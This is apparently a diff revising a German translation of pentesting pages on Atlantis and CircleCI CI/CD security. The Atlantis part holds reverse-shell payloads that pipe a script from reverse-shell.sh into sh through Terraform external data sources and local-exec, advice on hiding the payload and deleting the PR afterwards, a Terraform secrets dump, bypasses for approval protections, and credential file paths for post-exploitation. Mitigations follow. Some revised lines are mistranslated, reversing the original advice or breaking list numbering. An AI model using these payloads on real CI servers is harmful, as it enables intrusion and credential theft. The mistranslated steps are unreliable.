-#### Anbieter-Anmeldeinformationen <a href="#provider-credentials" id="provider-credentials"></a>
+#### Anbieteranmeldeinformationen <a href="#provider-credentials" id="provider-credentials"></a>

 [Aus der Dokumentation:](https://www.runatlantis.io/docs/provider-credentials.html)

-Atlantis führt Terraform aus, indem es einfach die **Befehle `terraform plan` und `apply`** auf dem Server **ausführt, auf dem Atlantis gehostet wird**. Genau wie bei der lokalen Ausführung von Terraform benötigt Atlantis Anmeldeinformationen für Ihren spezifischen Anbieter.
+Atlantis führt Terraform aus, indem es einfach die **`terraform plan` und `apply`**-Befehle auf dem Server **ausführt, auf dem Atlantis gehostet wird**. Genau wie bei der lokalen Ausführung von Terraform benötigt Atlantis Anmeldeinformationen für Ihren spezifischen Anbieter.

 Es liegt an Ihnen, wie Sie [Anmeldeinformationen bereitstellen](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) für Ihren spezifischen Anbieter an Atlantis:

- Das Atlantis [Helm-Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) und das [AWS Fargate-Modul](https://www.runatlantis.io/docs/deployment.html#aws-fargate) haben ihre eigenen Mechanismen für Anbieter-Anmeldeinformationen. Lesen Sie deren Dokumentation.
- Wenn Sie Atlantis in einer Cloud ausführen, haben viele Clouds Möglichkeiten, Anwendungen, die auf ihnen ausgeführt werden, API-Zugriff zu gewähren, z.B.:
+- Das Atlantis [Helm-Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) und das [AWS Fargate-Modul](https://www.runatlantis.io/docs/deployment.html#aws-fargate) haben ihre eigenen Mechanismen für Anbieteranmeldeinformationen. Lesen Sie deren Dokumentation.
+- Wenn Sie Atlantis in einer Cloud ausführen, haben viele Clouds Möglichkeiten, Anwendungen, die auf ihnen ausgeführt werden, API-Zugriff zu gewähren, z. B.:
 - [AWS EC2-Rollen](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Suchen Sie nach "EC2-Rolle")
 - [GCE-Instanzdienstkonten](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Viele Benutzer setzen Umgebungsvariablen, z.B. `AWS_ACCESS_KEY`, wo Atlantis ausgeführt wird.
- Andere erstellen die erforderlichen Konfigurationsdateien, z.B. `~/.aws/credentials`, wo Atlantis ausgeführt wird.
- Verwenden Sie den [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs), um Anbieter-Anmeldeinformationen zu erhalten.
+- Viele Benutzer setzen Umgebungsvariablen, z. B. `AWS_ACCESS_KEY`, wo Atlantis ausgeführt wird.
+- Andere erstellen die erforderlichen Konfigurationsdateien, z. B. `~/.aws/credentials`, wo Atlantis ausgeführt wird.
+- Verwenden Sie den [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs), um Anbieteranmeldeinformationen zu erhalten.

 > [!WARNING]
-> Der **Container**, in dem **Atlantis** **ausgeführt wird**, wird höchstwahrscheinlich **privilegierte Anmeldeinformationen** für die Anbieter (AWS, GCP, Github...) enthalten, die Atlantis über Terraform verwaltet.
+> Der **Container**, in dem **Atlantis** **ausgeführt wird**, wird höchstwahrscheinlich **privilegierte Anmeldeinformationen** für die Anbieter (AWS, GCP, GitHub...) enthalten, die Atlantis über Terraform verwaltet.

 #### Webseite

-Standardmäßig wird Atlantis eine **Webseite auf Port 4141 auf localhost** ausführen. Diese Seite ermöglicht es Ihnen lediglich, Atlantis apply zu aktivieren/deaktivieren und den Planstatus der Repos zu überprüfen und sie zu entsperren (sie erlaubt keine Änderungen, daher ist sie nicht sehr nützlich).
+Standardmäßig wird Atlantis eine **Webseite auf Port 4141 auf localhost** ausführen. Diese Seite ermöglicht es Ihnen lediglich, Atlantis anzuwenden/deaktivieren und den Planstatus der Repos zu überprüfen und sie zu entsperren (sie erlaubt keine Änderungen, daher ist sie nicht sehr nützlich).

-Sie werden sie wahrscheinlich nicht im Internet exponiert finden, aber es scheint, dass standardmäßig **keine Anmeldeinformationen erforderlich sind**, um darauf zuzugreifen (und wenn doch, sind `atlantis`:`atlantis` die **Standard**-Anmeldeinformationen).
+Sie werden sie wahrscheinlich nicht im Internet finden, aber es scheint, dass standardmäßig **keine Anmeldeinformationen erforderlich sind**, um darauf zuzugreifen (und wenn doch, sind `atlantis`:`atlantis` die **Standard**-Anmeldeinformationen).

 ### Serverkonfiguration

-Die Konfiguration für `atlantis server` kann über Befehlszeilen-Flags, Umgebungsvariablen, eine Konfigurationsdatei oder eine Mischung aus dreien angegeben werden.
+Die Konfiguration für `atlantis server` kann über Befehlszeilenflags, Umgebungsvariablen, eine Konfigurationsdatei oder eine Mischung aus dreien angegeben werden.

 - Sie finden [**hier die Liste der unterstützten Flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) für den Atlantis-Server.
 - Sie finden [**hier, wie man eine Konfigurationsoption in eine Umgebungsvariable umwandelt**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
@@ -76,36 +76,36 @@ Werte werden **in dieser Reihenfolge ausgewählt**:
 3. Konfigurationsdatei

 > [!WARNING]
-> Beachten Sie, dass Sie in der Konfiguration möglicherweise interessante Werte wie **Tokens und Passwörter** finden.
+> Beachten Sie, dass Sie in der Konfiguration interessante Werte wie **Tokens und Passwörter** finden könnten.

 #### Repo-Konfiguration

 Einige Konfigurationen beeinflussen, **wie die Repos verwaltet werden**. Es ist jedoch möglich, dass **jedes Repo unterschiedliche Einstellungen erfordert**, sodass es Möglichkeiten gibt, jedes Repo anzugeben. Dies ist die Prioritätsreihenfolge:

 1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) Datei. Diese Datei kann verwendet werden, um anzugeben, wie Atlantis das Repo behandeln soll. Standardmäßig können jedoch einige Schlüssel hier ohne bestimmte Flags, die dies erlauben, nicht angegeben werden.
-2. Wahrscheinlich erforderlich, um durch Flags wie `allowed_overrides` oder `allow_custom_workflows` erlaubt zu werden.
-3. [**Serverseitige Konfiguration**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Sie können sie mit dem Flag `--repo-config` übergeben, und es handelt sich um eine YAML, die neue Einstellungen für jedes Repo konfiguriert (Regex wird unterstützt).
-4. **Standard**-Werte.
+1. Wahrscheinlich erforderlich, um durch Flags wie `allowed_overrides` oder `allow_custom_workflows` erlaubt zu werden.
+2. [**Serverseitige Konfiguration**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Sie können sie mit dem Flag `--repo-config` übergeben, und es handelt sich um eine YAML-Datei, die neue Einstellungen für jedes Repo konfiguriert (Regex wird unterstützt).
+3. **Standard**-Werte.

 **PR-Schutz**

-Atlantis ermöglicht es anzugeben, ob Sie möchten, dass der **PR** von jemand anderem **`genehmigt`** wird (auch wenn dies nicht im Branch-Schutz festgelegt ist) und/oder **`mergeable`** (Branch-Schutz bestanden) **ist, bevor apply ausgeführt wird**. Aus sicherheitstechnischer Sicht ist es ratsam, beide Optionen festzulegen.
+Atlantis ermöglicht es anzugeben, ob Sie möchten, dass der **PR** von jemand anderem **`genehmigt`** wird (auch wenn dies nicht im Branch-Schutz festgelegt ist) und/oder **`zusammenführbar`** ist (Branch-Schutz bestanden) **bevor `apply` ausgeführt wird**. Aus sicherheitstechnischer Sicht ist es ratsam, beide Optionen festzulegen.

 Falls `allowed_overrides` wahr ist, können diese Einstellungen **in jedem Projekt durch die `/atlantis.yml`-Datei überschrieben werden**.

 **Skripte**

-Die Repo-Konfiguration kann **Skripte angeben**, die [**vor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_Pre-Workflow-Hooks_) und [**nach**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_Post-Workflow-Hooks_) einem **Workflow ausgeführt werden**.
+Die Repo-Konfiguration kann **Skripte angeben**, die [**vor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_Pre-Workflow-Hooks_) und [**nach**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_Post-Workflow-Hooks_) einem **Workflow ausgeführt werden.**

 Es gibt keine Option, um **diese Skripte** in der **Repo `/atlantis.yml`**-Datei anzugeben.

 **Workflow**

 In der Repo-Konfiguration (serverseitige Konfiguration) können Sie [**einen neuen Standard-Workflow angeben**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) oder [**neue benutzerdefinierte Workflows erstellen**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Sie können auch **angeben**, welche **Repos** auf die **neuen** generierten zugreifen können.\
-Dann können Sie die **atlantis.yaml**-Datei jedes Repos erlauben, den zu verwendenden Workflow anzugeben.
+Dann können Sie die **atlantis.yaml**-Datei jedes Repos erlauben, den zu verwendenden Workflow **anzugeben**.

 > [!CAUTION]
-> Wenn das [**serverseitige Konfigurations**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) Flag `allow_custom_workflows` auf **True** gesetzt ist, können Workflows in der **`atlantis.yaml`**-Datei jedes Repos **angegeben** werden. Es könnte auch potenziell erforderlich sein, dass **`allowed_overrides`** auch **`workflow`** angibt, um den Workflow zu **überschreiben**, der verwendet werden soll.\
+> Wenn das [**serverseitige Konfigurations**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) Flag `allow_custom_workflows` auf **True** gesetzt ist, können Workflows in der **`atlantis.yaml`**-Datei jedes Repos **angegeben** werden. Es könnte auch erforderlich sein, dass **`allowed_overrides`** auch **`workflow`** angibt, um den Workflow zu **überschreiben**, der verwendet werden soll.\
 > Dies würde im Grunde **RCE im Atlantis-Server für jeden Benutzer, der auf dieses Repo zugreifen kann, gewähren**.
 >
 > ```yaml
@@ -126,12 +126,12 @@ Dann können Sie die **atlantis.yaml**-Datei jedes Repos erlauben, den zu verwen

 **Conftest-Policy-Überprüfung**

-Atlantis unterstützt die Ausführung von **serverseitigen** [**conftest**](https://www.conftest.dev/) **Richtlinien** gegen die Plan-Ausgabe. Häufige Anwendungsfälle für diesen Schritt sind:
+Atlantis unterstützt die Ausführung von **serverseitigen** [**Conftest**](https://www.conftest.dev/) **Richtlinien** gegen die Plan-Ausgabe. Häufige Anwendungsfälle für diesen Schritt sind:

 - Verweigerung der Nutzung einer Liste von Modulen
 - Überprüfung von Attributen einer Ressource zum Zeitpunkt der Erstellung
 - Auffangen unbeabsichtigter Ressourcenlöschungen
- Verhinderung von Sicherheitsrisiken (z.B. das Exponieren sicherer Ports für die Öffentlichkeit)
+- Verhinderung von Sicherheitsrisiken (z. B. das Offenlegen sicherer Ports für die Öffentlichkeit)

 Sie können überprüfen, wie Sie es in [**der Dokumentation**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) konfigurieren.

@@ -165,14 +165,14 @@ atlantis apply [options] -- [terraform apply flags]
 > [!WARNING]
 > Wenn Sie während der Ausnutzung diesen **Fehler** finden: `Error: Error acquiring the state lock`

-Sie können es beheben, indem Sie Folgendes ausführen:
+Sie können ihn beheben, indem Sie Folgendes ausführen:
 ```
 atlantis unlock #You might need to run this in a different PR
 atlantis plan -- -lock=false
 ```
 #### Atlantis plan RCE - Konfigurationsänderung in neuem PR

-Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie **`atlantis plan` ausführen können** (oder es möglicherweise automatisch ausgeführt wird), **werden Sie in der Lage sein, RCE innerhalb des Atlantis-Servers zu erreichen**.
+Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie **`atlantis plan` ausführen können** (oder es möglicherweise automatisch ausgeführt wird), **werden Sie in der Lage sein, RCE innerhalb des Atlantis-Servers durchzuführen**.

 Sie können dies tun, indem Sie [**Atlantis eine externe Datenquelle laden lassen**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Fügen Sie einfach eine Payload wie die folgende in die `main.tf`-Datei ein:
 ```json
@@ -180,11 +180,11 @@ data "external" "example" {
 program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
 }
 ```
-**Stealthier Angriff**
+**Tarnung Angriff**

-You can perform this attack even in a **stealthier way**, by following this suggestions:
+Sie können diesen Angriff sogar auf eine **tarnendere Weise** durchführen, indem Sie diese Vorschläge befolgen:

- Statt die rev shell direkt in die terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält:
+- Anstatt die rev shell direkt in die terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält:
 ```javascript
 module "not_rev_shell" {
 source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
@@ -192,12 +192,12 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
 ```
 Sie können den rev shell Code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) finden.

- Verwenden Sie im externen Ressourcen die **ref**-Funktion, um den **terraform rev shell Code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Stattdessen** von einem **PR zu master** zu erstellen, um Atlantis auszulösen, **erstellen Sie 2 Branches** (test1 und test2) und erstellen Sie einen **PR von einem zum anderen**. Wenn Sie den Angriff abgeschlossen haben, entfernen Sie einfach **den PR und die Branches**.
+- Verwenden Sie in der externen Ressource die **ref**-Funktion, um den **terraform rev shell Code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- **Stattdessen** erstellen Sie einen **PR zu master**, um Atlantis auszulösen, **erstellen Sie 2 Branches** (test1 und test2) und erstellen Sie einen **PR von einem zum anderen**. Wenn Sie den Angriff abgeschlossen haben, entfernen Sie einfach **den PR und die Branches**.

 #### Atlantis Plan Secrets Dump

-Sie können **Secrets, die von terraform verwendet werden**, dumpen, indem Sie `atlantis plan` (`terraform plan`) ausführen und etwas wie dies in die terraform-Datei einfügen:
+Sie können **Secrets, die von terraform verwendet werden**, dumpen, indem Sie `atlantis plan` (`terraform plan`) ausführen und etwas wie dies in die Terraform-Datei einfügen:
 ```json
 output "dotoken" {
 value = nonsensitive(var.do_token)
@@ -210,7 +210,7 @@ Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch
 Sie müssen jedoch normalerweise einige Schutzmaßnahmen umgehen:

 - **Mergeable**: Wenn dieser Schutz in Atlantis aktiviert ist, können Sie **`atlantis apply` nur ausführen, wenn der PR mergeable ist** (was bedeutet, dass der Branch-Schutz umgangen werden muss).
- Überprüfen Sie mögliche [**Umgehungen von Branch-Schutzmaßnahmen**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
+- Überprüfen Sie mögliche [**Branch-Schutzumgehungen**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
 - **Approved**: Wenn dieser Schutz in Atlantis aktiviert ist, muss **ein anderer Benutzer den PR genehmigen**, bevor Sie `atlantis apply` ausführen können.
 - Standardmäßig können Sie das [**Gitbot-Token missbrauchen, um diesen Schutz zu umgehen**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)

@@ -231,11 +231,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
 }
 }
 ```
-Folgen Sie den **Vorschlägen aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise** durchzuführen.
+Befolgen Sie die **Vorschläge aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise** durchzuführen.

 #### Terraform Param Injection

-Wenn `atlantis plan` oder `atlantis apply` ausgeführt wird, wird Terraform im Hintergrund ausgeführt. Sie können Befehle an Terraform von Atlantis über Kommentare übergeben, indem Sie etwas wie Folgendes schreiben:
+Wenn `atlantis plan` oder `atlantis apply` ausgeführt wird, wird Terraform im Hintergrund ausgeführt. Sie können Befehle an Terraform von Atlantis über Kommentare übergeben, indem Sie etwas wie:
 ```bash
 atlantis plan -- <terraform commands>
 atlantis plan -- -h #Get terraform plan help
@@ -266,10 +266,10 @@ Diese Möglichkeit wurde in einem vorherigen Abschnitt erwähnt:
 >     plan:
 >       steps:
 >         - init
->         - run: mein benutzerdefinierter Planbefehl
+>         - run: my custom plan command
 >     apply:
 >       steps:
->         - run: mein benutzerdefinierter Anwendungsbefehl
+>         - run: my custom apply command
 > ```

 #### Umgehung von Plan-/Anwendungs-Schutzmaßnahmen
@@ -282,7 +282,7 @@ apply_requirements: []
 ```
 #### PR Hijacking

-Wenn jemand **`atlantis plan/apply` Kommentare zu Ihren gültigen Pull-Requests sendet,** wird dies dazu führen, dass Terraform ausgeführt wird, wenn Sie es nicht möchten.
+Wenn jemand **`atlantis plan/apply` Kommentare zu Ihren gültigen Pull-Requests sendet,** wird Terraform ausgeführt, wenn Sie es nicht möchten.

 Darüber hinaus, wenn Sie nicht in den **Branch-Schutz** konfiguriert haben, um bei jedem **neuen Commit** zu verlangen, dass jeder PR **neu bewertet** wird, könnte jemand **bösartige Konfigurationen** (siehe vorherige Szenarien) in der Terraform-Konfiguration schreiben, `atlantis plan/apply` ausführen und RCE erlangen.

@@ -300,7 +300,7 @@ Bitbucket Cloud unterstützt **keine Webhook-Secrets**. Dies könnte Angreifern

 - Das bedeutet, dass ein **Angreifer** **falsche Anfragen an Atlantis** stellen könnte, die so aussehen, als kämen sie von Bitbucket.
 - Wenn Sie `--repo-allowlist` angeben, könnten sie nur Anfragen zu diesen Repos fälschen, sodass der größte Schaden, den sie anrichten könnten, darin bestünde, auf Ihren eigenen Repos zu planen/anwenden.
- Um dies zu verhindern, erlauben Sie nur [Bitbucket-IP-Adressen](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (siehe ausgehende IPv4-Adressen).
+- Um dies zu verhindern, erlauben Sie [Bitbucket's IP-Adressen](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (siehe ausgehende IPv4-Adressen).

 ### Post-Exploitation

@@ -313,19 +313,19 @@ Wenn Sie Zugriff auf den Server erhalten haben oder zumindest LFI haben, gibt es
 - `/proc/1/environ` Umgebungsvariablen
 - `/proc/[2-20]/cmdline` Cmd-Zeile von `atlantis server` (kann sensible Daten enthalten)

-### Mitigations
+### Mitigationen

-#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
+#### Verwenden Sie es nicht auf öffentlichen Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>

 Da jeder auf öffentlichen Pull-Requests kommentieren kann, ist es selbst mit allen verfügbaren Sicherheitsmaßnahmen immer noch gefährlich, Atlantis auf öffentlichen Repos ohne ordnungsgemäße Konfiguration der Sicherheitseinstellungen auszuführen.

-#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
+#### Verwenden Sie nicht `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>

-Wenn Sie auf einem öffentlichen Repo (was nicht empfohlen wird, siehe oben) arbeiten, sollten Sie `--allow-fork-prs` (standardmäßig auf false) nicht setzen, da jeder einen Pull-Request von seinem Fork zu Ihrem Repo öffnen kann.
+Wenn Sie auf einem öffentlichen Repo (was nicht empfohlen wird, siehe oben) arbeiten, sollten Sie `--allow-fork-prs` nicht setzen (Standard ist false), da jeder einen Pull-Request von seinem Fork zu Ihrem Repo öffnen kann.

 #### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>

-Atlantis erfordert, dass Sie eine Allowlist von Repositories angeben, von denen es Webhooks über das `--repo-allowlist`-Flag akzeptiert. Zum Beispiel:
+Atlantis erfordert, dass Sie eine Allowlist von Repositories angeben, von denen es Webhooks über das Flag `--repo-allowlist` akzeptiert. Zum Beispiel:

 - Bestimmte Repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
 - Ihre gesamte Organisation: `--repo-allowlist=github.com/runatlantis/*`
@@ -334,37 +334,37 @@ Atlantis erfordert, dass Sie eine Allowlist von Repositories angeben, von denen

 Dieses Flag stellt sicher, dass Ihre Atlantis-Installation nicht mit Repositories verwendet wird, die Sie nicht kontrollieren. Siehe `atlantis server --help` für weitere Details.

-#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
+#### Schützen Sie Terraform-Planung <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>

-Wenn Angreifer Pull-Requests mit bösartigem Terraform-Code in Ihrem Bedrohungsmodell einreichen, müssen Sie sich bewusst sein, dass Genehmigungen für `terraform apply` nicht ausreichen. Es ist möglich, bösartigen Code in einem `terraform plan` auszuführen, indem die [`external` Datenquelle](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) verwendet oder ein bösartiger Anbieter angegeben wird. Dieser Code könnte dann Ihre Anmeldeinformationen exfiltrieren.
+Wenn Angreifer Pull-Requests mit bösartigem Terraform-Code in Ihrem Bedrohungsmodell einreichen, müssen Sie sich bewusst sein, dass Genehmigungen für `terraform apply` nicht ausreichen. Es ist möglich, bösartigen Code in einem `terraform plan` auszuführen, indem die [`external` Datenquelle](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) oder ein bösartiger Anbieter angegeben wird. Dieser Code könnte dann Ihre Anmeldeinformationen exfiltrieren.

 Um dies zu verhindern, könnten Sie:

 1. Anbieter in das Atlantis-Image einbacken oder hosten und den Ausgang im Produktionsumfeld verweigern.
 2. Das Anbieter-Registry-Protokoll intern implementieren und öffentlichen Ausgang verweigern, sodass Sie kontrollieren, wer Schreibzugriff auf das Registry hat.
-3. Ihren [serverseitigen Repo-Konfigurations](https://www.runatlantis.io/docs/server-side-repo-config.html) `plan`-Schritt ändern, um gegen die Verwendung von nicht erlaubten Anbietern oder Datenquellen oder PRs von nicht erlaubten Benutzern zu validieren. Sie könnten auch an diesem Punkt zusätzliche Validierungen hinzufügen, z.B. ein "Daumen hoch" auf dem PR verlangen, bevor Sie den `plan` fortsetzen lassen. Conftest könnte hier nützlich sein.
+3. Ihren [serverseitigen Repo-Konfigurations](https://www.runatlantis.io/docs/server-side-repo-config.html) `plan`-Schritt so modifizieren, dass er gegen die Verwendung von nicht erlaubten Anbietern oder Datenquellen oder PRs von nicht erlaubten Benutzern validiert. Sie könnten auch an diesem Punkt zusätzliche Validierungen hinzufügen, z.B. ein "Daumen hoch" für den PR verlangen, bevor Sie den `plan` fortsetzen lassen. Conftest könnte hier nützlich sein.

-#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
+#### Webhook-Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>

-Atlantis sollte mit Webhook-Secrets ausgeführt werden, die über die Umgebungsvariablen `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` festgelegt sind. Selbst mit dem gesetzten `--repo-allowlist`-Flag könnten Angreifer Anfragen an Atlantis stellen, die sich als ein erlaubtes Repository ausgeben. Webhook-Secrets stellen sicher, dass die Webhook-Anfragen tatsächlich von Ihrem VCS-Anbieter (GitHub oder GitLab) stammen.
+Atlantis sollte mit Webhook-Secrets ausgeführt werden, die über die Umgebungsvariablen `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` festgelegt sind. Selbst mit dem gesetzten Flag `--repo-allowlist` könnten Angreifer Anfragen an Atlantis stellen, die sich als ein Repository ausgeben, das auf der Allowlist steht. Webhook-Secrets stellen sicher, dass die Webhook-Anfragen tatsächlich von Ihrem VCS-Anbieter (GitHub oder GitLab) stammen.

 Wenn Sie Azure DevOps verwenden, fügen Sie anstelle von Webhook-Secrets einen grundlegenden Benutzernamen und ein Passwort hinzu.

-#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
+#### Azure DevOps Basis-Authentifizierung <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>

-Azure DevOps unterstützt das Senden eines grundlegenden Authentifizierungs-Headers in allen Webhook-Ereignissen. Dies erfordert die Verwendung einer HTTPS-URL für Ihren Webhook-Standort.
+Azure DevOps unterstützt das Senden eines Basis-Authentifizierungs-Headers in allen Webhook-Ereignissen. Dies erfordert die Verwendung einer HTTPS-URL für Ihren Webhook-Standort.

 #### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>

 Wenn Sie Webhook-Secrets verwenden, aber Ihr Datenverkehr über HTTP läuft, könnten die Webhook-Secrets gestohlen werden. Aktivieren Sie SSL/HTTPS mit den Flags `--ssl-cert-file` und `--ssl-key-file`.

-#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
+#### Aktivieren Sie die Authentifizierung auf dem Atlantis-Webserver <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>

 Es wird dringend empfohlen, die Authentifizierung im Webdienst zu aktivieren. Aktivieren Sie BasicAuth mit `--web-basic-auth=true` und richten Sie einen Benutzernamen und ein Passwort mit den Flags `--web-username=yourUsername` und `--web-password=yourPassword` ein.

-Sie können diese auch als Umgebungsvariablen übergeben: `ATLANTIS_WEB_BASIC_AUTH=true`, `ATLANTIS_WEB_USERNAME=yourUsername` und `ATLANTIS_WEB_PASSWORD=yourPassword`.
+Sie können diese auch als Umgebungsvariablen übergeben: `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` und `ATLANTIS_WEB_PASSWORD=yourPassword`.

-### References
+### Referenzen

 - [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)
 - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
@@ -9,9 +9,9 @@
 ### Berechtigungen

 **CircleCI** **erbt die Berechtigungen** von GitHub und Bitbucket, die mit dem **Konto** verbunden sind, das sich anmeldet.\
-In meinen Tests habe ich überprüft, dass Sie, solange Sie **Schreibberechtigungen für das Repo in GitHub** haben, in der Lage sind, **die Projekteinstellungen in CircleCI zu verwalten** (neue SSH-Schlüssel festzulegen, Projekt-API-Schlüssel zu erhalten, neue Branches mit neuen CircleCI-Konfigurationen zu erstellen...).
+In meinen Tests habe ich überprüft, dass Sie, solange Sie **Schreibberechtigungen für das Repo in GitHub** haben, in der Lage sind, **die Projekteinstellungen in CircleCI zu verwalten** (neue SSH-Schlüssel festlegen, Projekt-API-Schlüssel abrufen, neue Branches mit neuen CircleCI-Konfigurationen erstellen...).

-Sie müssen jedoch ein **Repo-Administrator** sein, um das **Repo in ein CircleCI-Projekt umzuwandeln**.
+Sie müssen jedoch ein **Repo-Administrator** sein, um **das Repo in ein CircleCI-Projekt umzuwandeln**.

 ### Umgebungsvariablen & Geheimnisse

@@ -19,7 +19,7 @@ Laut [**den Dokumenten**](https://circleci.com/docs/2.0/env-vars/) gibt es versc

 #### Eingebaute Umgebungsvariablen

-Jeder von CircleCI ausgeführte Container hat immer [**spezifische Umgebungsvariablen, die in der Dokumentation definiert sind**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) wie `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` oder `CIRCLE_USERNAME`.
+Jeder Container, der von CircleCI ausgeführt wird, hat immer [**spezifische Umgebungsvariablen, die in der Dokumentation definiert sind**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) wie `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` oder `CIRCLE_USERNAME`.

 #### Klartext

@@ -31,7 +31,7 @@ command: |
 SECRET="A secret"
 echo $SECRET
 ```
-Sie können sie im Klartext innerhalb der **run environment** deklarieren:
+Sie können sie im Klartext innerhalb der **Ausführungsumgebung** deklarieren:
 ```yaml
 - run:
 name: "set and echo"
@@ -69,13 +69,13 @@ Sie können sie **deklariert in** _https://app.circleci.com/settings/project/git

 #### Kontextgeheimnisse

-Dies sind Geheimnisse, die **organisationsweit** sind. Standardmäßig kann **jedes Repo** auf **jedes Geheimnis** zugreifen, das hier gespeichert ist:
+Dies sind Geheimnisse, die **organisationsweit** sind. Standardmäßig kann **jedes Repo** **auf jedes Geheimnis** zugreifen, das hier gespeichert ist:

 ![](<../images/image (123).png>)

 > [!TIP]
 > Beachten Sie jedoch, dass eine andere Gruppe (anstatt aller Mitglieder) **ausgewählt werden kann, um den Zugriff auf die Geheimnisse nur bestimmten Personen zu gewähren**.\
-> Dies ist derzeit eine der besten Möglichkeiten, um die **Sicherheit der Geheimnisse** zu **erhöhen**, indem nicht jeder darauf zugreifen kann, sondern nur einige Personen.
+> Dies ist derzeit eine der besten Möglichkeiten, um die **Sicherheit der Geheimnisse** zu **erhöhen**, indem nicht jeder Zugriff darauf hat, sondern nur einige Personen.

 ### Angriffe

@@ -83,11 +83,11 @@ Dies sind Geheimnisse, die **organisationsweit** sind. Standardmäßig kann **je

 Wenn Sie **Zugriff auf das VCS** (wie GitHub) haben, überprüfen Sie die Datei `.circleci/config.yml` von **jedem Repo in jedem Branch** und **suchen** Sie nach potenziellen **Klartextgeheimnissen**, die dort gespeichert sind.

-#### Geheim-Umgebungsvariablen & Kontextenumeration
+#### Aufzählung von geheimen Umgebungsvariablen & Kontexten

